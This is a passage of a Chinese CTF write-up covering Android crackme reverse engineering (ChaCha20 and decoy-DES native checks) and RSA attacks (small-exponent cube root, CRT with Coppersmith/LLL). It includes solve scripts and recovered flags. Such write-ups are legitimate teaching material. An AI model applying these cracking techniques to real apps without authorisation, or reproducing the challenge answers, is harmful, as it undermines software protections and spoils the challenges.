xor_key = 110

decoded = base64.b64decode(encoded_flag)
flag = &apos;&apos;.join(chr(b ^ xor_key) for b in decoded)
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{0nvze2l1-9ps6-prj8-k35e-l5a1r0831bip}&lt;/p&gt;
&lt;h2&gt;ChaCha20&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;jadx打开后，直接跳转到mainactivity&lt;/p&gt;
&lt;p&gt;验证按钮回调走这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NativeBridge&lt;/code&gt; 注册了一堆 native 方法，但 &lt;code&gt;MainActivity&lt;/code&gt; 只调了 &lt;code&gt;c\(String\)&lt;/code&gt;，其它 &lt;code&gt;ab/cd/dc&lt;/code&gt; 都是噪音。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;libmyapplication\.so&lt;/code&gt; 没导出 &lt;code&gt;Java\_…\_c&lt;/code&gt; 这种符号，是用 &lt;code&gt;RegisterNatives&lt;/code&gt; 动态注册的。&lt;code&gt;\.data\.rel\.ro&lt;/code&gt; 起头三个 12 字节的 &lt;code&gt;JNINativeMethod&lt;/code&gt; 结构体：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解出三项：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;signature&lt;/th&gt;
&lt;th&gt;fnPtr&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\(\[B\)\[B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x250b0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\(\[B\)\[B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x251f0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\(Ljava/lang/String;\)Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x25330&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;0x25330是目标函数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c\(\)&lt;/code&gt; 做 4 件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;GetStringUTFChars&lt;/code&gt; 取出用户输入；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把输入字节当明文喂给「加密+hex」函数 &lt;code&gt;sub\_25740&lt;/code&gt;，得到 &lt;code&gt;out\_hex&lt;/code&gt;（小写十六进制字符串）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把 &lt;code&gt;out\_hex&lt;/code&gt; 一字节一字节和全局 &lt;code&gt;g\_target&lt;/code&gt;（&lt;code&gt;std::vector\&amp;amp;lt;uint8\_t\&amp;amp;gt;&lt;/code&gt;，地址 &lt;code&gt;0x5a16c&lt;/code&gt;）比较；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完全相等返回 &lt;code&gt;JNI\_TRUE&lt;/code&gt;，否则 &lt;code&gt;JNI\_FALSE&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_276f0&lt;code&gt;看反汇编是个&lt;/code&gt;mov $0x8, %eax; ret&lt;code&gt;的「常量 8」，但它其实是一个 stub —— 真实的&lt;/code&gt;g_target.size()&lt;code&gt;是把&lt;/code&gt;vector&lt;code&gt;的&lt;/code&gt;_end - _begin&lt;code&gt;拿出来再除以 1。比较循环每轮按&lt;/code&gt;0x40&lt;code&gt;\-byte 块前进（外层 &lt;/code&gt;25803: cmp $0x40, %eax`），所以一轮匹配 64 字节（密文是 50 字符，刚好够用一轮）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c\(\)&lt;/code&gt; 的语义就是：&lt;code&gt;hex\(ChaCha20\(input\)\) == \&amp;amp;\#34;d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b\&amp;amp;\#34;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;加密+hex 包装函数 `sub_25740`&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;key和nonce&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;取 key / nonce 的字节排布&lt;/p&gt;
&lt;p&gt;内部一系列 &lt;code&gt;call 27160&lt;/code&gt;（每次读一个 32-bit 小端 word），把 &lt;code&gt;\.rodata&lt;/code&gt; 字节按 little-endian 拼成 &lt;code&gt;state\[4\.\.11\]&lt;/code&gt;（key）和 &lt;code&gt;state\[13\.\.15\]&lt;/code&gt;（nonce），&lt;code&gt;state\[12\] = counter&lt;/code&gt;。这正好是 RFC 7539 ChaCha20 的状态布局。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hex字母表&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_27530&lt;code&gt;把每个密文字节&lt;/code&gt;b拆成两位：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ChaCha20 block 函数sub_26cc0&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sub\_25740&lt;/code&gt; 在每轮里调一次 &lt;code&gt;0x26cc0&lt;/code&gt; 生成 64 字节 keystream。这就是标准 ChaCha20 block：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_271a0就是 ChaCha20 的 quarter-round（add / xor / rotl 16/12/8/7）。10 次 double-round = 20 round。&lt;/p&gt;
&lt;p&gt;目标密文：来自 `.init_array` 在运行时填充的全局 vector&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_24be0是真正的填充逻辑：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

KEY = bytes.fromhex(
    &quot;149263a16f2d89cbf0375b1ca94e78d3&quot;
    &quot;226017ee9abc4d0853e1762a8dc4903f&quot;
)
NONCE = bytes.fromhex(&quot;44332211abcdef668899aa55&quot;)
CIPHERTEXT = bytes.fromhex(
    &quot;d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b&quot;
)
COUNTER = 1  # IETF ChaCha20 默认起始 counter

def rotl32(v, n):
    return ((v &amp;lt;&amp;lt; n) &amp;amp; 0xFFFFFFFF) | (v &amp;gt;&amp;gt; (32 - n))

def quarter_round(s, a, b, c, d):
    s[a] = (s[a] + s[b]) &amp;amp; 0xFFFFFFFF; s[d] ^= s[a]; s[d] = rotl32(s[d], 16)
    s[c] = (s[c] + s[d]) &amp;amp; 0xFFFFFFFF; s[b] ^= s[c]; s[b] = rotl32(s[b], 12)
    s[a] = (s[a] + s[b]) &amp;amp; 0xFFFFFFFF; s[d] ^= s[a]; s[d] = rotl32(s[d], 8)
    s[c] = (s[c] + s[d]) &amp;amp; 0xFFFFFFFF; s[b] ^= s[c]; s[b] = rotl32(s[b], 7)

def u32le(b):
    return int.from_bytes(b, &quot;little&quot;)

def chacha20_keystream(key, nonce, length, counter=1):
    assert len(key) == 32 and len(nonce) == 12
    out = bytearray()
    bc = counter
    consts = b&quot;expand 32-byte k&quot;
    while len(out) &amp;lt; length:
        state = (
            [u32le(consts[i:i + 4]) for i in range(0, 16, 4)]
            + [u32le(key[i:i + 4]) for i in range(0, 32, 4)]
            + [bc]
            + [u32le(nonce[i:i + 4]) for i in range(0, 12, 4)]
        )
        w = state[:]
        for _ in range(10):  # 20 rounds = 10 double-rounds
            quarter_round(w, 0, 4, 8, 12)
            quarter_round(w, 1, 5, 9, 13)
            quarter_round(w, 2, 6, 10, 14)
            quarter_round(w, 3, 7, 11, 15)
            quarter_round(w, 0, 5, 10, 15)
            quarter_round(w, 1, 6, 11, 12)
            quarter_round(w, 2, 7, 8, 13)
            quarter_round(w, 3, 4, 9, 14)
        for i, word in enumerate(w):
            out.extend(((word + state[i]) &amp;amp; 0xFFFFFFFF).to_bytes(4, &quot;little&quot;))
        bc = (bc + 1) &amp;amp; 0xFFFFFFFF
    return bytes(out[:length])

def chacha20_xor(key, nonce, data, counter=1):
    ks = chacha20_keystream(key, nonce, len(data), counter)
    return bytes(a ^ b for a, b in zip(data, ks))

def main():
    print(f&quot;[+] key      : {KEY.hex()}&quot;)
    print(f&quot;[+] nonce    : {NONCE.hex()}&quot;)
    print(f&quot;[+] cipher   : {CIPHERTEXT.hex()}&quot;)
    print(f&quot;[+] counter={COUNTER}&quot;)
    flag = chacha20_xor(KEY, NONCE, CIPHERTEXT, counter=COUNTER)
    try:
        print(f&quot;[+] FLAG     : {flag.decode()}&quot;)
    except UnicodeDecodeError:
        print(f&quot;[!] non-utf8 plaintext: {flag!r}&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{2023326077889096380}&lt;/p&gt;
&lt;h2&gt;DES加密验证&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;主 Activity:DEX 热加载&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com\.cr\.crackme2\.MainActivity\.onCreate\(\)&lt;/code&gt; 调用了 &lt;code&gt;b\(\)&lt;/code&gt;,关键步骤:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Native 库:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static native boolean verifyFlag(String str);
static { System.loadLibrary(&quot;crackme2&quot;); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;释放出的 wide Activity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;assets/classes3\.dex&lt;/code&gt; 中的 &lt;code&gt;com\.cr\.test\.wide&lt;/code&gt; 是真正承担 UI 校验的类:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private boolean callNativeMethod(String str) {
    Class&amp;lt;?&amp;gt; clazz = Class.forName(&quot;com.cr.crackme2.MainActivity&quot;);
    Method method = clazz.getMethod(&quot;verifyFlag&quot;, String.class);
    return (Boolean) method.invoke(null, str);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;干扰类:&lt;code&gt;com\.example\.demo\.\{MathUtils, LibraryBook, ShoppingCart, User, MainActivity, MainActivity2\}&lt;/code&gt; —— 都是与校验无关的样板类,用来扩大 jadx 输出迷惑分析人员。&lt;/p&gt;
&lt;p&gt;去ida里面分析so文件&lt;/p&gt;
&lt;p&gt;函数注册&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JNI_OnLoad → register_native_methods
RegisterNatives(env, FindClass(&quot;com/cr/crackme2/MainActivity&quot;),
                {&quot;verifyFlag&quot;, &quot;(Ljava/lang/String;)Z&quot;, &amp;amp;verifyFlag}, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;verifyFlag&lt;/code&gt;&lt;/strong&gt;** 反编译(关键)**&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char verifyFlag(JNIEnv *env, jclass cls, jstring jstr) {
    const char *pcVar1 = env-&amp;gt;GetStringUTFChars(jstr, NULL);
    int len_in        = strlen(pcVar1);

    size_t padded_len = 0;
    uchar *padded     = pkcs7_pad(pcVar1, len_in, &amp;amp;padded_len);   // FUN_00034490
    uchar *enc_buf    = malloc(padded_len);
    des_ecb_encrypt(padded, padded_len, (uchar*)&quot;12345678&quot;, enc_buf);  // !!! 干扰

    std::string hex;
    bytesToHex(&amp;amp;hex, padded);                                      // 真正比较的源
    int got = std::string::data(&amp;amp;hex);

    char ok = 0;
    for (int i = 0; i &amp;lt; 1; i++) {
        if (std::string_eq(&amp;amp;DAT_00068060 + i*0xc, &amp;amp;hex)) {         // 与全局 EncryptedFlag 比较
            ok = 1; break;
        }
    }
    return ok;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意几个反直觉的点:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DES 结果没被使用&lt;/strong&gt; —— `enc_buf` 仅 `free` 掉,从未参与比较。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;`bytesToHex` 接受的是 &lt;strong&gt;PKCS#7 填充后的明文&lt;/strong&gt;,不是密文。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;比较使用 &lt;code&gt;std::string::operator==&lt;/code&gt;(&lt;code&gt;FUN\_00034560&lt;/code&gt;),即逐字节相等。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;全局对象 &lt;code&gt;DAT\_00068060&lt;/code&gt;(&lt;code&gt;EncryptedFlag&lt;/code&gt; 类型)是 &lt;code&gt;std::string&lt;/code&gt;,内容在构造函数里被静态初始化。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PKCS#7 填充函数`FUN_00034490`&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void *pkcs7_pad(const void *src, int len, size_t *out_len) {
    int pad = 8 - len % 8;            // 即使整除也会再补 8 字节
    *out_len = len + pad;
    void *p = malloc(*out_len);
    memcpy(p, src, len);
    for (int i = len; i &amp;lt; *out_len; i++) ((char*)p)[i] = (char)pad;
    return p;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;标准 PKCS#7,补到 8 字节倍数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`EncryptedFlag` 全局对象的初始化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;\.init\_array&lt;/code&gt; 调度的构造函数 &lt;code&gt;FUN\_00033e40&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __cxx_global_var_init() {
    std::string::string(&amp;amp;DAT_00068060,
        &quot;666c61677b623532376532363231313331313334656332323235316366626361&quot;
        &quot;373565386339663561653466343133373138373166643535393131393237663636613162347d0202&quot;);
    __cxa_atexit(EncryptedFlag::~EncryptedFlag, ...);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-

CMP_TARGET_HEX = (
    &quot;666c61677b623532376532363231313331313334656332323235316366626361&quot;
    &quot;373565386339663561653466343133373138373166643535393131393237663636613162347d0202&quot;
)

def pkcs7_pad(data: bytes, block: int = 8) -&amp;gt; bytes:
    pad_len = block - (len(data) % block)
    return data + bytes([pad_len]) * pad_len

def pkcs7_unpad(data: bytes) -&amp;gt; bytes:
    pad_len = data[-1]
    if pad_len &amp;lt; 1 or pad_len &amp;gt; 8:
        raise ValueError(f&quot;非法的 PKCS#7 填充长度: {pad_len}&quot;)
    if data[-pad_len:] != bytes([pad_len]) * pad_len:
        raise ValueError(&quot;PKCS#7 填充内容不一致&quot;)
    return data[:-pad_len]

def recover_flag() -&amp;gt; str:
    raw = bytes.fromhex(CMP_TARGET_HEX)
    return pkcs7_unpad(raw).decode(&quot;ascii&quot;)

def verify(flag: str) -&amp;gt; bool:

    padded_hex = pkcs7_pad(flag.encode(&quot;utf-8&quot;), 8).hex()
    return padded_hex == CMP_TARGET_HEX

if __name__ == &quot;__main__&quot;:
    flag = recover_flag()
    print(f&quot;[+] 还原 flag: {flag}&quot;)
    print(f&quot;[+] 长度    : {len(flag)}&quot;)

    ok = verify(flag)
    print(f&quot;[+] 模拟校验: {&apos;PASS&apos; if ok else &apos;FAIL&apos;}&quot;)
    assert ok, &quot;回填校验失败,请检查 CMP_TARGET_HEX&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}&lt;/p&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;BabyRSA&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目给了两个附件&lt;/p&gt;
&lt;p&gt;task.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag

m = bytes_to_long(flag)
e = 3

p = getPrime(512)
q = getPrime(512)
n = p * q

c = pow(m, e, n)

print(f&quot;n = {n}&quot;)
print(f&quot;e = {e}&quot;)
print(f&quot;c = {c}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;out.text&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经典 RSA 小指数（&lt;code&gt;e = 3&lt;/code&gt;）题型。先看看 &lt;code&gt;n&lt;/code&gt; 和 &lt;code&gt;c&lt;/code&gt; 的位数关系：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;比特长度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1024&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;909&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;也就是 &lt;code&gt;c \&amp;amp;lt; n&lt;/code&gt;。这暗示 &lt;code&gt;m^3&lt;/code&gt; 在没有取模的情况下就已经小于 &lt;code&gt;n&lt;/code&gt;，于是&lt;/p&gt;
&lt;p&gt;直接对 &lt;code&gt;c&lt;/code&gt; 开三次方就能拿到 &lt;code&gt;m&lt;/code&gt;，无需分解 &lt;code&gt;n&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import gmpy2
from Crypto.Util.number import long_to_bytes

n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669

m, exact = gmpy2.iroot(c, e)
assert exact
print(long_to_bytes(int(m)).decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{769cc0209669698952823747f21eb10e}&lt;/p&gt;
&lt;h2&gt;ScatterRSA&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目给了两个附件&lt;/p&gt;
&lt;p&gt;task.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from secret import flag
from Crypto.Util.number import *
import random

m = bytes_to_long(flag)
e = 3

print(f&quot;e = {e}&quot;)

for i in range(3):
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    a = random.getrandbits(128) | (1 &amp;lt;&amp;lt; 127)
    b = random.getrandbits(256) | (1 &amp;lt;&amp;lt; 255)
    c = pow(a * m + b, e, n)

    print(f&quot;n{i+1} = {n}&quot;)
    print(f&quot;a{i+1} = {a}&quot;)
    print(f&quot;b{i+1} = {b}&quot;)
    print(f&quot;c{i+1} = {c}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;out.text&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e = 3
n1 = 134590028715846226751903719587861090472772080921099504036178613989523328571021119450984313988905557385036821505121612368860436253713267192159612607745301358472400758433053304358101099945515440169672493726615122471822947908806960237079424527450364377187388434878044214423874958715687632702618242260038201552961
a1 = 173235201602700035769143714622479214858
b1 = 58616053309986169433995951615552358657183395855412447208282770965760612937595
c1 = 50192984704229516422576705848426706185707023557654942997226592852562126143797118081125527050565529571702518296053642057549607538952767595537352818598436177372629946093076195084953301667499579328461288560942915342433209991739202980657987347584757491195480319156057361829134996133204059551472598891366688783755
n2 = 68196420818362667184273231820367250019665598198220107894027697404250798750179650739212752171893537136631632644245299647403521159317636479179387396036378651369427323164026037204640004005081098772718308292781228113356944341374614054386589378286349095152732830327900238600877850386212764491160551279660914970501
a2 = 235763128007574771186749199470667788696
b2 = 82833393375329622580640447653813478693484654663680708964473557677310067110872
c2 = 58727033167047203506164797837999819283982869287436076252773072774355826490167620639330797956244757203726547611149611642979362714607329797512143580714003751905301065313982278186988038708909021000691905664629331025167676669052317049958574849948837597306860613961557323523558290710860835719858942854534226001532
n3 = 104197894722251549417361866562671346718448272653499933412399440512957241054274214931999347021968663121866250705242698152904168891226692027345376090411001289684534871464563352348782346283820734447304134789063563965860082130364230372312070163983650187312362722689902212270815366758596540699197732479604574605717
a3 = 289837185860108823269362666161877095653
b3 = 88038264202304767250178171651729306984925900158278305985019519489525502096874
c3 = 12441437714234741776087648075441633972630237216692770981303759863634569477393643678959437151894987980323367988780311101132662707086178418962311399292280866817688865303206505050428252909551141504556842671029262184318022978671849627397763537173137629868777942717009356259616195047064075877128354789683093509959

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对脚本进行分析&lt;/p&gt;
&lt;p&gt;同一明文 &lt;code&gt;m&lt;/code&gt;，用 &lt;code&gt;e=3&lt;/code&gt; 在三个不同模数 &lt;code&gt;n\_i&lt;/code&gt; 下被加密；&lt;/p&gt;
&lt;p&gt;每次先做仿射变换 `a_i*m + b_i` 再立方 —— 即所谓&lt;strong&gt;线性 padding&lt;/strong&gt;；&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a\_i \(\~128 bit\)&lt;/code&gt;、&lt;code&gt;b\_i \(\~256 bit\)&lt;/code&gt; 都已公开（只是混淆，不是真正的随机化）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;构造同根多项式&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个密文给出一个以 &lt;code&gt;m&lt;/code&gt; 为根的多项式：&lt;/p&gt;
&lt;p&gt;$f_i(x) = (a_i x + b_i)^3 - c_i \equiv 0 \pmod{n_i}$&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;化为首一&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在 &lt;code&gt;Z/n\_i Z&lt;/code&gt; 上把 &lt;code&gt;f\_i&lt;/code&gt; 除以 &lt;code&gt;a\_i^3&lt;/code&gt;，得到首一三次多项式：&lt;/p&gt;
&lt;p&gt;$\hat f_i(x) = x^3 + 3 b_i a_i^{-1} x^2 + 3 b_i^2 a_i^{-2} x + (b_i^3 - c_i) a_i^{-3} \pmod{n_i}$&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CRT 合并&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对系数逐位 CRT 到模 &lt;code&gt;N = n1 n2 n3&lt;/code&gt;，得到首一多项式 &lt;code&gt;F\(x\)&lt;/code&gt;，仍以 &lt;code&gt;m&lt;/code&gt; 为根（mod &lt;code&gt;N&lt;/code&gt;）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Coppersmith small root&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;m&lt;/code&gt; 大小 ~256 bit，&lt;code&gt;N&lt;/code&gt; 大小 ~3072 bit，&lt;code&gt;X = 2^300&lt;/code&gt; 已是宽松界。用 Howgrave-Graham 格 &lt;code&gt;dim = 4&lt;/code&gt; 足够：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;行 0..2: N * x^i        (i = 0, 1, 2)
行 3   : F(x)
列 j 上整体乘 X^j
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LLL 后取最短行，按列除回 &lt;code&gt;X^j&lt;/code&gt; 得到整系数多项式 &lt;code&gt;g\(x\)&lt;/code&gt;；它在整数上以 &lt;code&gt;m&lt;/code&gt; 为根。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;求整数根&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;g\(x\)&lt;/code&gt; 度数 3，用 &lt;code&gt;sympy&lt;/code&gt; 求实根（其中一个是大整数），即得 &lt;code&gt;m&lt;/code&gt;，再 &lt;code&gt;long\_to\_bytes&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from Crypto.Util.number import long_to_bytes
from fractions import Fraction

try:
    from gmpy2 import mpq as Q, mpz as Z
except ImportError:  # pragma: no cover
    Q = Fraction
    Z = int

import sympy

# --------------------------- exact-rational LLL -----------------------------
def lll(B, delta=Q(3, 4)):
    n = len(B)
    B = [[Z(x) for x in row] for row in B]

    def qdot(u, v):
        s = Q(0)
        for a, b in zip(u, v):
            s += a * b
        return s

    Bs = [None] * n
    mu = [[Q(0)] * n for _ in range(n)]

    def gso():
        for i in range(n):
            Bs[i] = [Q(x) for x in B[i]]
            for j in range(i):
                mu[i][j] = qdot([Q(x) for x in B[i]], Bs[j]) / qdot(Bs[j], Bs[j])
                Bs[i] = [a - mu[i][j] * b for a, b in zip(Bs[i], Bs[j])]

    gso()
    k = 1
    while k &amp;lt; n:
        changed = False
        for j in range(k - 1, -1, -1):
            if abs(mu[k][j]) &amp;gt; Q(1, 2):
                m_kj = mu[k][j]
                q = int(m_kj + Q(1, 2)) if m_kj &amp;gt;= 0 else -int(-m_kj + Q(1, 2))
                if q != 0:
                    B[k] = [a - q * b for a, b in zip(B[k], B[j])]
                    changed = True
        if changed:
            gso()
        if qdot(Bs[k], Bs[k]) &amp;gt;= (delta - mu[k][k - 1] ** 2) * qdot(Bs[k - 1], Bs[k - 1]):
            k += 1
        else:
            B[k], B[k - 1] = B[k - 1], B[k]
            gso()
            k = max(k - 1, 1)
